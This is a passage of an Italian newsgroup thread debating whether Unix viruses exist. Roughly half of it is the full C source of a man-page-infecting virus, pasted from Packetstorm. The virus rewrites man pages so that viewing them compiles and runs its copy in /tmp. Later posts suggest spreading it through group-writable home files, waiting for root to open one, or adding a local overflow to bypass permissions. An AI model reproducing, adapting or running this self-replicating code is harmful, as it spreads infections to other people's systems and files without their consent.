Newsgroup: it.comp.sicurezza.varie
Titolo: virus per unix

Esistono, non esistono?
ciao

 Esistono, non esistono?
Packetstorm restituisce qualcosa di interessante...
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <stdlib.h>
const char *viriiSource = "/tmp/virus.c";
const char *tmpVictum = "/tmp/victum";
const char *ident = ".\x5c\x22VIRUS\x0a";
char path[] = "/usr/man/manx";
int wasZipped = 0;
char *findVictum();
int infectVictum(char *);
int main(int argc, char **argv)
{  	
        infectVictum(findVictum());
        unlink(viriiSource);
        unlink(*argv);
}
char *findVictum()
{
        DIR *dp;
        FILE *fd;
        struct dirent *de;
        int index = 0;
        char buf[1000];
        static char pathname[1000];
 
 
	/* inititialization */
        memset(buf, 0, 1000);
        memset(pathname, 0, 1000);
        srand(time(NULL));
        index = rand() % 3;
        path[12] = index + 49;
        if ((dp = opendir(path)) == NULL) {
                return NULL;
        }
 
        /* skip "." and ".." */
        readdir(dp); readdir(dp);
 
        while (1) {
                /* read next entry */
                if ((de = readdir(dp)) == NULL) {
                       closedir(dp);
                       return NULL;	
                }
                /* create full pathname */
                sprintf(pathname, "%s/%s", path, de->d_name);
                /* if zipped */
                if (strstr(pathname, ".gz")) {
                        sprintf(buf, "gunzip %s", pathname);
                        system(buf);
                        wasZipped = 1;
                        /* without '.gz' */
                        pathname[strlen(pathname) - 3 ] = 0;
                }
                /* get next filename from directory */
                if ((fd = fopen(pathname, "r")) == NULL) {
                   	continue;
                }
                fgets(buf, 100, fd);
 
                /* look if not already infected */
                if (strcmp(buf, ident) == 0) {
                   	fclose(fd);
                        memset(buf, 0, 1000);
			memset(pathname, 0, 1000);
                } else {                        
                        fclose(fd);
                        return pathname;
                } 
        }
}
int infectVictum(char *victum)
{
        char buf[1000];
        FILE *virusIn, *victumIn, *tmpOut;
 
        memset(buf, 0, 1000);
 
        if ((virusIn = fopen(viriiSource, "r")) == NULL) {
           	return 1;
        }
 
        if ((tmpOut = fopen(tmpVictum, "a")) == NULL) {
           	fclose(virusIn);
                return 1;
        }
        if ((victumIn = fopen(victum, "r")) == NULL) {
                fclose(virusIn);
                fclose(tmpOut);
                unlink(tmpVictum);
        }
        /* write ident-string to man-page */
        fprintf(tmpOut, "%s", ident);
 
        /* and append the original man-page */
        while (fgets(buf, 999, victumIn) != NULL) {
                fprintf(tmpOut, "%s", buf);
                memset(buf, 1000, 0);
        }
        fclose(victumIn);
 
        /* finally append virus-code to it */
        sprintf(buf, ".opena v %s\x0a", viriiSource);
        fprintf(tmpOut, "%s", buf);
        memset(buf, 0, 1000);
 
        while (fgets(buf, 999, virusIn) != NULL) {
                fprintf(tmpOut, ".write v %s", buf);
                memset(buf, 0, 1000);
        }
        sprintf(buf, ".pso cc %s -o /tmp/virus;/tmp/virus &\x0a",
viriiSource);
        fprintf(tmpOut, "%s", buf);
 
        fclose(virusIn);
        fclose(tmpOut);
 
        unlink(victum);
 
        /* our smart-copy ;-) */
        link(tmpVictum, victum);
        unlink(tmpVictum);
 
        if (wasZipped) {
                sprintf(buf, "gzip %s", victum);
                system(buf);
        }
        return 0;
}
Questo va a infettarsi le manpages.
BTW sotto *nix esistono i permessi di esecuzione:
se un utente  non ha i permessi, non puň  ne leggere scrivere files nč
tantomeno 
eseguire programmi. Ergo...
Tuttavia, sempre su packetstorm, ci sono vari testi che descrivono come
caricare 
prog maliziosi (chiamiamoli  cosě...) ad esempio come moduli del kernel,
mi pare
sotto FreeBSD ma  non ne sono sicuro. In definitiva, si *potrebbe*
affermare che 
l'idea di virus come ce l'abbiamo per Win/Dos sotto *nix č
inesistente...
Al massimo si potrebbe parlare di "exploit bastardi che riescono a
replicarsi in
memoria". O no???

memoria". O no???
http://packetstorm.securify.com/9901-exploits/elf-pv.txt
aggiungendo anche il necessario per tentare un overflow locale, potremmo
spreadare in locale bypassando i permessi. Altrimenti possiamo accontentarci
della /home pescando file scrivibili anche dal gruppo users (di default in
vari UN!X come gruppo degli utenti locali), senza magari contare /tmp
aspettando che root usi uno di quei file ;)
credo che il problema sia di voglia, oltre che di limitazioni intrinseche.
perche' virare(TM) UN!X quando puoi divertirti meglio con DOS/Win ? :P
quanto ai moduli, si puo' fare. ma per linkarli al kernel ci vuole uid 0.
a questo punto e' forse meglio virare(TM) files direttamente.
invy

Esistono, non esistono?
Ne esistevano tre, due anni fa. "Stoag", "Bliss" e un altro. Oggi non lo
so.
Il problema non e' tanto scriverlo, il virus... quanto convincere root a
scaricare e installare i sorgenti.
So che ci sono grandi speranze per i nuovi virus in RPM.
Leonardo
".signature": bad command or file name


Alcuni giorni fa e' stato postato su bugtraq "iloveyou" per linux.
Fabrizio

 a questo punto e' forse meglio virare(TM) files direttamente.
Zi. Cmq tutte le mie parole sono open-source...
Grazie ancora per il link, ne hai altri del genere per caso? 
Ciao, Eidos "vira a babordoooooooooooooooooooooooooooo!!!!!"

 So che ci sono grandi speranze per i nuovi virus in RPM.
La speranza è la prima a infettarsi.
Ciao, Eidos.

Alcuni giorni fa e' stato postato su bugtraq "iloveyou" per linux.
Hai riferimenti piu' precisi? chi lo dovrebbe eseguire, quello script?
-- 
           |Save our planet!
  Ciao     |Save wildlife;
  roberto  |For your E-MAIL use only recycled Bytes !!
           |roberto poggi  
rpo...@softhome.net

Hai riferimenti piu' precisi? chi lo dovrebbe eseguire, quello script?
Eccolo:
----
From: xxxx
To: xxx
Subject: I love you
This is a bona fide virus.
Please delete some files at random on your system and then forward this
message.
----
-- 
ciao, | * The Internet is full. Go away.  -- Joel Furr *
Marco | (Ri)scoprire fidonet: 
http://bbs.mi.linux.it

Eccolo:
Grazie, lo avevamo gia' visto, il worm ad esecuzione umana.
In realta', ci sono poi andato a guardare, e dovrebbe pure funzionare,
se si risponde alla mail senza vedere bene come e' strutturato
l'indirizzo a cui si sta facendo il reply, che contiene un comando di
pipe.
Tutto sta a vedere quale MTA esegua effettivamente il pipe.
Cosa sia poi in grado di fare davvero, sfidando i permessi di
esecuzione, e' ancora tutto da scoprire.
Beh, ho trovato cosa fare in quei due-tre secondi liberi che ho nel
week-end.


pipe.
E se procmail non ripulisce i messaggi ;-)


Tutto sta a vedere quale MTA esegua effettivamente il pipe.
Solo mailx, e` una vulnerabilita` assolutamente ridicola.


Solo mailx, e` una vulnerabilita` assolutamente ridicola.
Ed era proprio quello il concetto da cui ero partito, in effetti: 
Chi lo doveva eseguire.
Grazie.
